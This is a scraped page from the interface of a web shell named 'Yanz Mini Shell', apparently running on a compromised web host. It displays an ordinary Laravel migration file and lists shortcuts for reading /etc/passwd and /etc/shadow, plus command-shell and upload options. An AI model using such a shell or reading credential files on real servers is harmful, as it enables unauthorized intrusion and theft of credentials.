Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
livewant
public_html
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\File; use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Schema; class CreateUnionsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('unions', function (Blueprint $table) { $table->bigIncrements('id'); $table->unsignedBigInteger('upazilla_id')->nullable(); $table->string('name', 200); $table->string('bn_name', 200); $table->string('url', 200)->nullable(); $table->boolean('status')->default(1); $table->timestamps(); // database table index create $table->index(['upazilla_id']); }); DB::unprepared(File::get('database/seeders/sql/unions.sql')); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('unions'); } }
Free Space : 18317193216 Byte